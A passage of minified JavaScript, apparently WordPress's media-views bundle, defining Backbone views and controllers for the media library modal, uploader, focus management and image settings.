(()=>{var i={1:e=>{var t=wp.media.view.MenuItem,i=wp.media.view.PriorityList,t=i.extend({tagName:"div",className:"media-menu",property:"state",ItemView:t,region:"menu",attributes:{role:"tablist","aria-orientation":"horizontal"},initialize:function(){this._views={},this.set(_.extend({},this._views,this.options.views),{silent:!0}),delete this.options.views,this.options.silent||this.render(),this.focusManager=new wp.media.view.FocusManager({el:this.el,mode:"tabsNavigation"}),this.isVisible=!0},toView:function(e,t){return(e=e||{})[this.property]=e[this.property]||t,new this.ItemView(e).render()},ready:function(){i.prototype.ready.apply(this,arguments),this.visibility(),this.focusManager.setupAriaTabs()},set:function(){i.prototype.set.apply(this,arguments),this.visibility()},unset:function(){i.prototype.unset.apply(this,arguments),this.visibility()},visibility:function(){var e=this.region,t=this.controller[e].get(),i=this.views.get(),i=!i||i.length<2;this===t&&(this.isVisible=!i,this.controller.$el.toggleClass("hide-"+e,i))},select:function(e){e=this.get(e);e&&(this.deselect(),e.$el.addClass("active"),this.focusManager.setupAriaTabs())},deselect:function(){this.$el.children().removeClass("active")},hide:function(e){e=this.get(e);e&&e.$el.addClass("hidden")},show:function(e){e=this.get(e);e&&e.$el.removeClass("hidden")}});e.exports=t},168:e=>{var t=Backbone.$,i=wp.media.View.extend({tagName:"div",className:"button-group button-large media-button-group",initialize:function(){this.buttons=_.map(this.options.buttons||[],function(e){return e instanceof Backbone.View?e:new wp.media.view.Button(e).render()}),delete this.options.buttons,this.options.classes&&this.$el.addClass(this.options.classes)},render:function(){return this.$el.html(t(_.pluck(this.buttons,"el")).detach()),this}});e.exports=i},170:e=>{var t=wp.media.View.extend({tagName:function(){return this.options.level||"h1"},className:"media-views-heading",initialize:function(){this.options.className&&this.$el.addClass(this.options.className),this.text=this.options.text},render:function(){return this.$el.html(this.text),this}});e.exports=t},397:e=>{var t=wp.media.view.Toolbar.Select,i=wp.media.view.l10n,s=t.extend({initialize:function(){_.defaults(this.options,{text:i.insertIntoPost,requires:!1}),t.prototype.initialize.apply(this,arguments)},refresh:function(){var e=this.controller.state().props.get("url");this.get("select").model.set("disabled",!e||"http://"===e),t.prototype.refresh.apply(this,arguments)}});e.exports=s},443:e=>{var t=wp.media.view,i=t.Cropper.extend({className:"crop-content site-icon",ready:function(){t.Cropper.prototype.ready.apply(this,arguments),this.$(".crop-image").on("load",_.bind(this.addSidebar,this))},addSidebar:function(){this.sidebar=new wp.media.view.Sidebar({controller:this.controller}),this.sidebar.set("preview",new wp.media.view.SiteIconPreview({controller:this.controller,attachment:this.options.attachment})),this.controller.cropperView.views.add(this.sidebar)}});e.exports=i},455:e=>{var t=wp.media.view.MediaFrame,i=wp.media.view.l10n,s=t.extend({initialize:function(){t.prototype.initialize.apply(this,arguments),_.defaults(this.options,{selection:[],library:{},multiple:!1,state:"library"}),this.createSelection(),this.createStates(),this.bindHandlers()},createSelection:function(){var e=this.options.selection;e instanceof wp.media.model.Selection||(this.options.selection=new wp.media.model.Selection(e,{multiple:this.options.multiple})),this._selection={attachments:new wp.media.model.Attachments,difference:[]}},editImageContent:function(){var e=this.state().get("image"),e=new wp.media.view.EditImage({model:e,controller:this}).render();this.content.set(e),e.loadEditor()},createStates:function(){var e=this.options;this.options.states||this.states.add([new wp.media.controller.Library({library:wp.media.query(e.library),multiple:e.multiple,title:e.title,priority:20}),new wp.media.controller.EditImage({model:e.editImage})])},bindHandlers:function(){this.on("router:create:browse",this.createRouter,this),this.on("router:render:browse",this.browseRouter,this),this.on("content:create:browse",this.browseContent,this),this.on("content:render:upload",this.uploadContent,this),this.on("toolbar:create:select",this.createSelectToolbar,this),this.on("content:render:edit-image",this.editImageContent,this)},browseRouter:function(e){e.set({upload:{text:i.uploadFilesTitle,priority:20},browse:{text:i.mediaLibraryTitle,priority:40}})},browseContent:function(e){var t=this.state();this.$el.removeClass("hide-toolbar"),e.view=new wp.media.view.AttachmentsBrowser({controller:this,collection:t.get("library"),selection:t.get("selection"),model:t,sortable:t.get("sortable"),search:t.get("searchable"),filters:t.get("filterable"),date:t.get("date"),display:t.has("display")?t.get("display"):t.get("displaySettings"),dragInfo:t.get("dragInfo"),idealColumnWidth:t.get("idealColumnWidth"),suggestedWidth:t.get("suggestedWidth"),suggestedHeight:t.get("suggestedHeight"),AttachmentView:t.get("AttachmentView")})},uploadContent:function(){this.$el.removeClass("hide-toolbar"),this.content.set(new wp.media.view.UploaderInline({controller:this}))},createSelectToolbar:function(e,t){(t=t||this.options.button||{}).controller=this,e.view=new wp.media.view.Toolbar.Select(t)}});e.exports=s},472:e=>{var t=wp.media.view.l10n,i=window.getUserSetting,s=window.setUserSetting,t=wp.media.controller.State.extend({defaults:{id:"library",title:t.mediaLibraryTitle,multiple:!1,content:"upload",menu:"default",router:"browse",toolbar:"select",searchable:!0,filterable:!1,sortable:!0,autoSelect:!0,describe:!1,contentUserSetting:!0,syncSelection:!0},initialize:function(){var e=this.get("selection");this.get("library")||this.set("library",wp.media.query()),e instanceof wp.media.model.Selection||((e=e)||(e=this.get("library").props.toJSON(),e=_.omit(e,"orderby","query")),this.set("selection",new wp.media.model.Selection(null,{multiple:this.get("multiple"),props:e}))),this.resetDisplays()},activate:function(){this.syncSelection(),wp.Uploader.queue.on("add",this.uploading,this),this.get("selection").on("add remove reset",this.refreshContent,this),this.get("router")&&this.get("contentUserSetting")&&(this.frame.on("content:activate",this.saveContentMode,this),this.set("content",i("libraryContent",this.get("content"))))},deactivate:function(){this.recordSelection(),this.frame.off("content:activate",this.saveContentMode,this),this.get("selection").off(null,null,this),wp.Uploader.queue.off(null,null,this)},reset:function(){this.get("selection").reset(),this.resetDisplays(),this.refreshContent()},resetDisplays:function(){var e=wp.media.view.settings.defaultProps;this._displays=[],this._defaultDisplaySettings={align:i("align",e.align)||"none",size:i("imgsize",e.size)||"medium",link:i("urlbutton",e.link)||"none"}},display:function(e){var t=this._displays;return t[e.cid]||(t[e.cid]=new Backbone.Model(this.defaultDisplaySettings(e))),t[e.cid]},defaultDisplaySettings:function(e){var t=_.clone(this._defaultDisplaySettings);return t.canEmbed=this.canEmbed(e),t.canEmbed?t.link="embed":this.isImageAttachment(e)||"none"!==t.link||(t.link="file"),t},isImageAttachment:function(e){return e.get("uploading")?/\.(jpe?g|png|gif|webp|avif|heic|heif)$/i.test(e.get("filename")):"image"===e.get("type")},canEmbed:function(e){if(!e.get("uploading")){var t=e.get("type");if("audio"!==t&&"video"!==t)return!1}return _.contains(wp.media.view.settings.embedExts,e.get("filename").split(".").pop())},refreshContent:function(){var e=this.get("selection"),t=this.frame,i=t.router.get(),t=t.content.mode();this.active&&!e.length&&i&&!i.get(t)&&this.frame.content.render(this.get("content"))},uploading:function(e){"upload"===this.frame.content.mode()&&this.frame.content.mode("browse"),this.get("autoSelect")&&(this.get("selection").add(e),this.frame.trigger("library:selection:add"))},saveContentMode:function(){var e,t;"browse"===this.get("router")&&(e=this.frame.content.mode(),t=this.frame.router.get())&&t.get(e)&&s("libraryContent",e)}});_.extend(t.prototype,wp.media.selectionSync),e.exports=t},705:e=>{var t=wp.media.controller.State,i=wp.media.controller.Library,s=wp.media.view.l10n,s=t.extend({defaults:_.defaults({id:"image-details",title:s.imageDetailsTitle,content:"image-details",menu:!1,router:!1,toolbar:"image-details",editing:!1,priority:60},i.prototype.defaults),initialize:function(e){this.image=e.image,t.prototype.initialize.apply(this,arguments)},activate:function(){this.frame.modal.$el.addClass("image-details")}});e.exports=s},718:e=>{var o=jQuery,t=wp.media.View.extend({events:{keydown:"focusManagementMode"},initialize:function(e){this.mode=e.mode||"constrainTabbing",this.tabsAutomaticActivation=e.tabsAutomaticActivation||!1},focusManagementMode:function(e){"constrainTabbing"===this.mode&&this.constrainTabbing(e),"tabsNavigation"===this.mode&&this.tabsNavigation(e)},getTabbables:function(){return this.$(":tabbable").not('.moxie-shim input[type="file"]')},focus:function(){this.$(".media-modal").trigger("focus")},constrainTabbing:function(e){var t;if(9===e.keyCode)return(t=this.getTabbables()).last()[0]!==e.target||e.shiftKey?t.first()[0]===e.target&&e.shiftKey?(t.last().focus(),!1):void 0:(t.first().focus(),!1)},setAriaHiddenOnBodyChildren:function(t){var e,i=this;this.isBodyAriaHidden||(e=document.body.children,_.each(e,function(e){e!==t[0]&&i.elementShouldBeHidden(e)&&(e.setAttribute("aria-hidden","true"),i.ariaHiddenElements.push(e))}),this.isBodyAriaHidden=!0)},removeAriaHiddenFromBodyChildren:function(){_.each(this.ariaHiddenElements,function(e){e.removeAttribute("aria-hidden")}),this.ariaHiddenElements=[],this.isBodyAriaHidden=!1},elementShouldBeHidden:function(e){var t=e.getAttribute("role");return!("SCRIPT"===e.tagName||e.hasAttribute("aria-hidden")||e.hasAttribute("aria-live")||-1!==["alert","status","log","marquee","timer"].indexOf(t))},isBodyAriaHidden:!1,ariaHiddenElements:[],tabs:o(),setupAriaTabs:function(){this.tabs=this.$('[role="tab"]'),this.tabs.attr({"aria-selected":"false",tabIndex:"-1"}),this.tabs.filter(".active").removeAttr("tabindex").attr("aria-selected","true")},tabsNavigation:function(e){var t="horizontal";-1===[32,35,36,37,38,39,40].indexOf(e.which)||"horizontal"===(t="vertical"===this.$el.attr("aria-orientation")?"vertical":t)&&-1!==[38,40].indexOf(e.which)||"vertical"===t&&-1!==[37,39].indexOf(e.which)||this.switchTabs(e,this.tabs)},switchTabs:function(e){var t,i=e.which,s=this.tabs.index(o(e.target));switch(i){case 32:this.activateTab(this.tabs[s]);break;case 35:e.preventDefault(),this.activateTab(this.tabs[this.tabs.length-1]);break;case 36:e.preventDefault(),this.activateTab(this.tabs[0]);break;case 37:case 38:e.preventDefault(),t=s-1<0?this.tabs.length-1:s-1,this.activateTab(this.tabs[t]);break;case 39:case 40:e.preventDefault(),t=s+1===this.tabs.length?0:s+1,this.activateTab(this.tabs[t])}},activateTab:function(e){e&&(e.focus(),this.tabsAutomaticActivation?(e.removeAttribute("tabindex"),e.setAttribute("aria-selected","true"),e.click()):o(e).on("click",function(){e.removeAttribute("tabindex"),e.setAttribute("aria-selected","true")}))}});e.exports=t},846:e=>{var t=wp.media.View.extend({tagName:"button",className:"media-button",attributes:{type:"button"},events:{click:"click"},defaults:{text:"",style:"",size:"large",disabled:!1},initialize:function(){this.model=new Backbone.Model(this.defaults),_.each(this.defaults,function(e,t){var i=this.options[t];_.isUndefined(i)||(this.model.set(t,i),delete this.options[t])},this),this.listenTo(this.model,"change",this.render)},render:function(){var e=["button",this.className],t=this.model.toJSON();return t.style&&e.push("button-"+t.style),t.size&&e.push("button-"+t.size),e=_.uniq(e.concat(this.options.classes)),this.el.className=e.join(" "),this.$el.attr("disabled",t.disabled),this.$el.text(this.model.get("text")),this},click:function(e){"#"===this.attributes.href&&e.preventDefault(),this.options.click&&!this.model.get("disabled")&&this.options.click.apply(this,arguments)}});e.exports=t},1061:e=>{var t=wp.media.View.extend({initialize:function(){_.defaults(this.options,{mode:["select"]}),this._createRegions(),this._createStates(),this._createModes()},_createRegions:function(){this.regions=this.regions?this.regions.slice():[],_.each(this.regions,function(e){this[e]=new wp.media.controller.Region({view:this,id:e,selector:".media-frame-"+e})},this)},_createStates:function(){this.states=new Backbone.Collection(null,{model:wp.media.controller.State}),this.states.on("add",function(e){e.frame=this,e.trigger("ready")},this),this.options.states&&this.states.add(this.options.states)},_createModes:function(){this.activeModes=new Backbone.Collection,this.activeModes.on("add remove reset",_.bind(this.triggerModeEvents,this)),_.each(this.options.mode,function(e){this.activateMode(e)},this)},reset:function(){return this.states.invoke("trigger","reset"),this},triggerModeEvents:function(e,t,i){var s,o={add:"activate",remove:"deactivate"};_.each(i,function(e,t){e&&(s=t)}),_.has(o,s)&&(i=e.get("id")+":"+o[s],this.trigger(i))},activateMode:function(e){if(!this.isModeActive(e))return this.activeModes.add([{id:e}]),this.$el.addClass("mode-"+e),this},deactivateMode:function(e){return this.isModeActive(e)&&(this.activeModes.remove(this.activeModes.where({id:e})),this.$el.removeClass("mode-"+e),this.trigger(e+":deactivate")),this},isModeActive:function(e){return Boolean(this.activeModes.where({id:e}).length)}});_.extend(t.prototype,wp.media.controller.StateMachine.prototype),e.exports=t},1169:e=>{var s=wp.media.model.Attachment,t=wp.media.controller.Library,i=wp.media.view.l10n,i=t.extend({defaults:_.defaults({id:"featured-image",title:i.setFeaturedImageTitle,multiple:!1,filterable:"uploaded",toolbar:"featured-image",priority:60,syncSelection:!0},t.prototype.defaults),initialize:function(){var e,o;this.get("library")||this.set("library",wp.media.query({type:"image"})),t.prototype.initialize.apply(this,arguments),e=this.get("library"),o=e.comparator,e.comparator=function(e,t){var i=!!this.mirroring.get(e.cid),s=!!this.mirroring.get(t.cid);return!i&&s?-1:i&&!s?1:o.apply(this,arguments)},e.observe(this.get("selection"))},activate:function(){this.frame.on("open",this.updateSelection,this),t.prototype.activate.apply(this,arguments)},deactivate:function(){this.frame.off("open",this.updateSelection,this),t.prototype.deactivate.apply(this,arguments)},updateSelection:function(){var e,t=this.get("selection"),i=wp.media.view.settings.post.featuredImageId;""!==i&&-1!==i&&(e=s.get(i)).fetch(),t.reset(e?[e]:[])}});e.exports=i},1368:e=>{var o=wp.media.view.l10n,t=wp.media.view.AttachmentFilters.extend({createFilters:function(){var e,t=this.model.get("type"),i=wp.media.view.settings.mimeTypes,s=window.userSettings?parseInt(window.userSettings.uid,10):0;i&&t&&(e=i[t]),this.filters={all:{text:e||o.allMediaItems,props:{uploadedTo:null,orderby:"date",order:"DESC",author:null},priority:10},uploaded:{text:o.uploadedToThisPost,props:{uploadedTo:wp.media.view.settings.post.id,orderby:"menuOrder",order:"ASC",author:null},priority:20},unattached:{text:o.unattached,props:{uploadedTo:0,orderby:"menuOrder",order:"ASC",author:null},priority:50}},s&&(this.filters.mine={text:o.mine,props:{orderby:"date",order:"DESC",author:s},priority:50})}});e.exports=t},1753:e=>{var t=wp.media.View,i=t.extend({tagName:"div",className:"uploader-inline",template:wp.template("uploader-inline"),events:{"click .close":"hide"},initialize:function(){_.defaults(this.options,{message:"",status:!0,canClose:!1}),!this.options.$browser&&this.controller.uploader&&(this.options.$browser=this.controller.uploader.$browser),_.isUndefined(this.options.postId)&&(this.options.postId=wp.media.view.settings.post.id),this.options.status&&this.views.set(".upload-inline-status",new wp.media.view.UploaderStatus({controller:this.controller}))},prepare:function(){var e=this.controller.state().get("suggestedWidth"),t=this.controller.state().get("suggestedHeight"),i={};return i.message=this.options.message,i.canClose=this.options.canClose,e&&t&&(i.suggestedWidth=e,i.suggestedHeight=t),i},dispose:function(){return this.disposing?t.prototype.dispose.apply(this,arguments):(this.disposing=!0,this.remove())},remove:function(){var e=t.prototype.remove.apply(this,arguments);return _.defer(_.bind(this.refresh,this)),e},refresh:function(){var e=this.controller.uploader;e&&e.refresh()},ready:function(){var e,t=this.options.$browser;if(this.controller.uploader){if((e=this.$(".browser"))[0]===t[0])return;t.detach().text(e.text()),t[0].className=e[0].className,t[0].setAttribute("aria-labelledby",t[0].id+" "+e[0].getAttribute("aria-labelledby")),e.replaceWith(t.show())}return this.refresh(),this},show:function(){this.$el.removeClass("hidden"),this.controller.$uploaderToggler&&this.controller.$uploaderToggler.length&&this.controller.$uploaderToggler.attr("aria-expanded","true")},hide:function(){this.$el.addClass("hidden"),this.controller.$uploaderToggler&&this.controller.$uploaderToggler.length&&this.controller.$uploaderToggler.attr("aria-expanded","false").trigger("focus")}});e.exports=i},1915:e=>{var t=wp.media.View,s=Backbone.$,i=t.extend({events:{"click button":"updateHandler","change input":"updateHandler","change select":"updateHandler","change textarea":"updateHandler"},initialize:function(){this.model=this.model||new Backbone.Model,this.listenTo(this.model,"change",this.updateChanges)},prepare:function(){return _.defaults({model:this.model.toJSON()},this.options)},render:function(){return t.prototype.render.apply(this,arguments),_(this.model.attributes).chain().keys().each(this.update,this),this},update:function(e){var t,i=this.model.get(e),s=this.$('[data-setting="'+e+'"]');s.length&&(s.is("select")?(t=s.find('[value="'+i+'"]')).length?(s.find("option").prop("selected",!1),t.prop("selected",!0)):this.model.set(e,s.find(":selected").val()):s.hasClass("button-group")?s.find("button").removeClass("active").attr("aria-pressed","false").filter('[value="'+i+'"]').addClass("active").attr("aria-pressed","true"):s.is('input[type="text"], textarea')?s.is(":focus")||s.val(i):s.is('input[type="checkbox"]')&&s.prop("checked",!!i&&"false"!==i))},updateHandler:function(e){var t=s(e.target).closest("[data-setting]"),i=e.target.value;e.preventDefault(),t.length&&(t.is('input[type="checkbox"]')&&(i=t[0].checked),this.model.set(t.data("setting"),i),e=t.data("userSetting"))&&window.setUserSetting(e,i)},updateChanges:function(e){e.hasChanged()&&_(e.changed).chain().keys().each(this.update,this)}});e.exports=i},1982:e=>{var t=wp.media.View.extend({className:"media-iframe",render:function(){return this.views.detach(),this.$el.html('<iframe src="'+this.controller.state().get("src")+'" />'),this.views.render(),this}});e.exports=t},1992:e=>{var t=wp.media.view.PriorityList.extend({className:"media-sidebar"});e.exports=t},2038:e=>{var t=wp.media.controller.Library,i=wp.media.view.l10n,s=t.extend({defaults:{id:"gallery-edit",title:i.editGalleryTitle,multiple:!1,searchable:!1,sortable:!0,date:!1,display:!1,content:"browse",toolbar:"gallery-edit",describe:!0,displaySettings:!0,dragInfo:!0,idealColumnWidth:170,editing:!1,priority:60,syncSelection:!1},initialize:function(){this.get("library")||this.set("library",new wp.media.model.Selection),this.get("AttachmentView")||this.set("AttachmentView",wp.media.view.Attachment.EditLibrary),t.prototype.initialize.apply(this,arguments)},activate:function(){this.get("library").props.set("type","image"),this.get("library").observe(wp.Uploader.queue),this.frame.on("content:render:browse",this.gallerySettings,this),t.prototype.activate.apply(this,arguments)},deactivate:function(){this.get("library").unobserve(wp.Uploader.queue),this.frame.off("content:render:browse",this.gallerySettings,this),t.prototype.deactivate.apply(this,arguments)},gallerySettings:function(e){var t;this.get("displaySettings")&&(t=this.get("library"))&&e&&(t.gallery=t.gallery||new Backbone.Model,e.sidebar.set({gallery:new wp.media.view.Settings.Gallery({controller:this,model:t.gallery,priority:40})}),e.toolbar.set("reverse",{text:i.reverseOrder,priority:80,click:function(){t.reset(t.toArray().reverse())}}))}});e.exports=s},2102:e=>{var t=wp.media.View.extend({tagName:"input",className:"search",id:"media-search-input",attributes:{type:"search"},events:{input:"search"},render:function(){return this.el.value=this.model.escape("search"),this},search:_.debounce(function(e){e=e.target.value.trim();e&&1<e.length?this.model.set("search",e):this.model.unset("search")},500)});e.exports=t},2275:e=>{var i=wp.media.controller.Library,t=wp.media.view.l10n,t=i.extend({defaults:_.defaults({id:"replace-image",title:t.replaceImageTitle,multiple:!1,filterable:"uploaded",toolbar:"replace",menu:!1,priority:60,syncSelection:!0},i.prototype.defaults),initialize:function(e){var t,o;this.image=e.image,this.get("library")||this.set("library",wp.media.query({type:"image"})),i.prototype.initialize.apply(this,arguments),t=this.get("library"),o=t.comparator,t.comparator=function(e,t){var i=!!this.mirroring.get(e.cid),s=!!this.mirroring.get(t.cid);return!i&&s?-1:i&&!s?1:o.apply(this,arguments)},t.observe(this.get("selection"))},activate:function(){this.frame.on("content:render:browse",this.updateSelection,this),i.prototype.activate.apply(this,arguments)},deactivate:function(){this.frame.off("content:render:browse",this.updateSelection,this),i.prototype.deactivate.apply(this,arguments)},updateSelection:function(){var e=this.get("selection"),t=this.image.attachment;e.reset(t?[t]:[])}});e.exports=t},2356:e=>{var t=wp.media.view.Settings.extend({className:"collection-settings playlist-settings",template:wp.template("playlist-settings")});e.exports=t},2395:e=>{var t=wp.media.view.Settings.AttachmentDisplay,i=t.extend({className:"embed-media-settings",template:wp.template("embed-image-settings"),initialize:function(){t.prototype.initialize.apply(this,arguments),this.listenTo(this.model,"change:url",this.updateImage)},updateImage:function(){this.$("img").attr("src",this.model.get("url"))}});e.exports=i},2621:e=>{var i=jQuery,t=wp.media.View.extend({tagName:"div",template:wp.template("media-modal"),events:{"click .media-modal-backdrop, .media-modal-close":"escapeHandler",keydown:"keydown"},clickedOpenerEl:null,initialize:function(){_.defaults(this.options,{container:document.body,title:"",propagate:!0,hasCloseButton:!0}),this.focusManager=new wp.media.view.FocusManager({el:this.el})},prepare:function(){return{title:this.options.title,hasCloseButton:this.options.hasCloseButton}},attach:function(){return this.views.attached?this:(this.views.rendered||this.render(),this.$el.appendTo(this.options.container),this.views.attached=!0,this.views.ready(),this.propagate("attach"))},detach:function(){return this.$el.is(":visible")&&this.close(),this.$el.detach(),this.views.attached=!1,this.propagate("detach")},open:function(){var e,t=this.$el;return t.is(":visible")?this:(this.clickedOpenerEl=document.activeElement,this.views.attached||this.attach(),i("body").addClass("modal-open"),t.show(),"ontouchend"in document&&(e=window.tinymce&&window.tinymce.activeEditor)&&!e.isHidden()&&e.iframeElement&&(e.iframeElement.focus(),e.iframeElement.blur(),setTimeout(function(){e.iframeElement.blur()},100)),this.$(".media-modal").trigger("focus"),this.focusManager.setAriaHiddenOnBodyChildren(t),this.propagate("open"))},close:function(e){return this.views.attached&&this.$el.is(":visible")&&(i(".mejs-pause button").trigger("click"),i("body").removeClass("modal-open"),this.$el.hide(),this.focusManager.removeAriaHiddenFromBodyChildren(),null!==this.clickedOpenerEl?this.clickedOpenerEl.focus():i("#wpbody-content").attr("tabindex","-1").trigger("focus"),this.propagate("close"),e)&&e.escape&&this.propagate("escape"),this},escape:function(){return this.close({escape:!0})},escapeHandler:function(e){e.preventDefault(),this.escape()},selectHandler:function(e){var t=this.controller.state().get("selection");t.length<=0||("insert"===this.controller.options.state?this.controller.trigger("insert",t):(this.controller.trigger("select",t),e.preventDefault(),this.escape()))},content:function(e){return this.views.set(".media-modal-content",e),this},propagate:function(e){return this.trigger(e),this.options.propagate&&this.controller.trigger(e),this},keydown:function(e){27===e.which&&this.$el.is(":visible")&&(this.escape(),e.stopImmediatePropagation()),13!==e.which&&10!==e.which||!e.metaKey&&!e.ctrlKey||(this.selectHandler(e),e.stopImmediatePropagation())}});e.exports=t},2650:e=>{var t=wp.media.view.Settings.AttachmentDisplay,o=jQuery,i=t.extend({className:"image-details",template:wp.template("image-details"),events:_.defaults(t.prototype.events,{"click .edit-attachment":"editAttachment","click .replace-attachment":"replaceAttachment","click .advanced-toggle":"onToggleAdvanced",'change [data-setting="customWidth"]':"onCustomSize",'change [data-setting="customHeight"]':"onCustomSize",'keyup [data-setting="customWidth"]':"onCustomSize",'keyup [data-setting="customHeight"]':"onCustomSize"}),initialize:function(){this.options.attachment=this.model.attachment,this.listenTo(this.model,"change:url",this.updateUrl),this.listenTo(this.model,"change:link",this.toggleLinkSettings),this.listenTo(this.model,"change:size",this.toggleCustomSize),t.prototype.initialize.apply(this,arguments)},prepare:function(){var e=!1;return this.model.attachment&&(e=this.model.attachment.toJSON()),_.defaults({model:this.model.toJSON(),attachment:e},this.options)},render:function(){var e=arguments;return this.model.attachment&&"pending"===this.model.dfd.state()?this.model.dfd.done(_.bind(function(){t.prototype.render.apply(this,e),this.postRender()},this)).fail(_.bind(function(){this.model.attachment=!1,t.prototype.render.apply(this,e),this.postRender()},this)):(t.prototype.render.apply(this,arguments),this.postRender()),this},postRender:function(){setTimeout(_.bind(this.scrollToTop,this),10),this.toggleLinkSettings(),"show"===window.getUserSetting("advImgDetails")&&this.toggleAdvanced(!0),this.trigger("post-render")},scrollToTop:function(){this.$(".embed-media-settings").scrollTop(0)},updateUrl:function(){this.$(".image img").attr("src",this.model.get("url")),this.$(".url").val(this.model.get("url"))},toggleLinkSettings:function(){"none"===this.model.get("link")?this.$(".link-settings").addClass("hidden"):this.$(".link-settings").removeClass("hidden")},toggleCustomSize:function(){"custom"!==this.model.get("size")?this.$(".custom-size").addClass("hidden"):this.$(".custom-size").removeClass("hidden")},onCustomSize:function(e){var t,i=o(e.target).data("setting"),s=o(e.target).val();!/^\d+/.test(s)||parseInt(s,10)<1?e.preventDefault():("customWidth"===i?(t=Math.round(1/this.model.get("aspectRatio")*s),this.model.set("customHeight",t,{silent:!0}),this.$('[data-setting="customHeight"]')):(t=Math.round(this.model.get("aspectRatio")*s),this.model.set("customWidth",t,{silent:!0}),this.$('[data-setting="customWidth"]'))).val(t)},onToggleAdvanced:function(e){e.preventDefault(),this.toggleAdvanced()},toggleAdvanced:function(e){var t=this.$el.find(".advanced-section"),e=t.hasClass("advanced-visible")||!1===e?(t.removeClass("advanced-visible"),t.find(".advanced-settings").addClass("hidden"),"hide"):(t.addClass("advanced-visible"),t.find(".advanced-settings").removeClass("hidden"),"show");window.setUserSetting("advImgDetails",e)},editAttachment:function(e){var t=this.controller.states.get("edit-image");window.imageEdit&&t&&(e.preventDefault(),t.set("image",this.model.attachment),this.controller.setState("edit-image"))},replaceAttachment:function(e){e.preventDefault(),this.controller.setState("replace-image")}});e.exports=i},2836:e=>{var t=wp.media.view.Frame,i=wp.media.view.l10n,o=jQuery,s=t.extend({className:"media-frame",template:wp.template("media-frame"),regions:["menu","title","content","toolbar","router"],events:{"click .media-frame-menu-toggle":"toggleMenu"},initialize:function(){t.prototype.initialize.apply(this,arguments),_.defaults(this.options,{title:i.mediaFrameDefaultTitle,modal:!0,uploader:!0}),this.$el.addClass("wp-core-ui"),this.options.modal&&(this.modal=new wp.media.view.Modal({controller:this,title:this.options.title}),this.modal.content(this)),!wp.Uploader.limitExceeded&&wp.Uploader.browser.supported||(this.options.uploader=!1),this.options.uploader&&(this.uploader=new wp.media.view.UploaderWindow({controller:this,uploader:{dropzone:(this.modal||this).$el,container:this.$el}}),this.views.set(".media-frame-uploader",this.uploader)),this.on("attach",_.bind(this.views.ready,this.views),this),this.on("title:create:default",this.createTitle,this),this.title.mode("default"),this.on("menu:create:default",this.createMenu,this),this.on("open",this.setMenuTabPanelAriaAttributes,this),this.on("open",this.setRouterTabPanelAriaAttributes,this),this.on("content:render",this.setMenuTabPanelAriaAttributes,this),this.on("content:render",this.setRouterTabPanelAriaAttributes,this)},setMenuTabPanelAriaAttributes:function(){var e=this.state().get("id"),t=this.$el.find(".media-frame-tab-panel");t.removeAttr("role aria-labelledby tabindex"),this.state().get("menu")&&this.menuView&&this.menuView.isVisible&&t.attr({role:"tabpanel","aria-labelledby":"menu-item-"+e,tabIndex:"0"})},setRouterTabPanelAriaAttributes:function(){var e,t=this.$el.find(".media-frame-content");t.removeAttr("role aria-labelledby tabindex"),this.state().get("router")&&this.routerView&&this.routerView.isVisible&&this.content._mode&&(e="menu-item-"+this.content._mode,t.attr({role:"tabpanel","aria-labelledby":e,tabIndex:"0"}))},render:function(){return!this.state()&&this.options.state&&this.setState(this.options.state),t.prototype.render.apply(this,arguments)},createTitle:function(e){e.view=new wp.media.View({controller:this,tagName:"h1"})},createMenu:function(e){e.view=new wp.media.view.Menu({controller:this,attributes:{role:"tablist","aria-orientation":"vertical"}}),this.menuView=e.view},toggleMenu:function(e){var t=this.$el.find(".media-menu");t.toggleClass("visible"),o(e.target).attr("aria-expanded",t.hasClass("visible"))},createToolbar:function(e){e.view=new wp.media.view.Toolbar({controller:this})},createRouter:function(e){e.view=new wp.media.view.Router({controller:this,attributes:{role:"tablist","aria-orientation":"horizontal"}}),this.routerView=e.view},createIframeStates:function(i){var e=wp.media.view.settings,t=e.tabs,s=e.tabUrl;t&&s&&((e=o("#post_ID")).length&&(s+="&post_id="+e.val()),_.each(t,function(e,t){this.state("iframe:"+t).set(_.defaults({tab:t,src:s+"&tab="+t,title:e,content:"iframe",menu:"default"},i))},this),this.on("content:create:iframe",this.iframeContent,this),this.on("content:deactivate:iframe",this.iframeContentCleanup,this),this.on("menu:render:default",this.iframeMenu,this),this.on("open",this.hijackThickbox,this),this.on("close",this.restoreThickbox,this))},iframeContent:function(e){this.$el.addClass("hide-toolbar"),e.view=new wp.media.view.Iframe({controller:this})},iframeContentCleanup:function(){this.$el.removeClass("hide-toolbar")},iframeMenu:function(e){var i={};e&&(_.each(wp.media.view.settings.tabs,function(e,t){i["iframe:"+t]={text:this.state("iframe:"+t).get("title"),priority:200}},this),e.set(i))},hijackThickbox:function(){var e=this;window.tb_remove&&!this._tb_remove&&(this._tb_remove=window.tb_remove,window.tb_remove=function(){e.close(),e.reset(),e.setState(e.options.state),e._tb_remove.call(window)})},restoreThickbox:function(){this._tb_remove&&(window.tb_remove=this._tb_remove,delete this._tb_remove)}});_.each(["open","close","attach","detach","escape"],function(e){s.prototype[e]=function(){return this.modal&&this.modal[e].apply(this.modal,arguments),this}}),e.exports=s},2982:e=>{var t=wp.media.View,i=t.extend({tagName:"form",className:"compat-item",events:{submit:"preventDefault","change input":"save","change select":"save","change textarea":"save"},initialize:function(){this.listenTo(this.model,"add",this.render)},dispose:function(){return this.$(":focus").length&&this.save(),t.prototype.dispose.apply(this,arguments)},render:function(){var e=this.model.get("compat");if(e&&e.item)return this.views.detach(),this.$el.html(e.item),this.views.render(),this},preventDefault:function(e){e.preventDefault()},save:function(e){var t={};e&&e.preventDefault(),_.each(this.$el.serializeArray(),function(e){t[e.name]=e.value}),this.controller.trigger("attachment:compat:waiting",["waiting"]),this.model.saveCompat(t).always(_.bind(this.postSave,this))},postSave:function(){this.controller.trigger("attachment:compat:ready",["ready"])}});e.exports=i},3443:e=>{var t=wp.media.view.Attachment.extend({buttons:{check:!0}});e.exports=t},3479:e=>{var t=wp.media.view.Attachments,i=t.extend({events:{},initialize:function(){return _.defaults(this.options,{sortable:!1,resize:!1,AttachmentView:wp.media.view.Attachment.Selection}),t.prototype.initialize.apply(this,arguments)}});e.exports=i},3674:e=>{var t=wp.media.View,i=wp.media.view.l10n,s=jQuery,o=t.extend({tagName:"div",className:"uploader-editor",template:wp.template("uploader-editor"),localDrag:!1,overContainer:!1,overDropzone:!1,draggingFile:null,initialize:function(){return 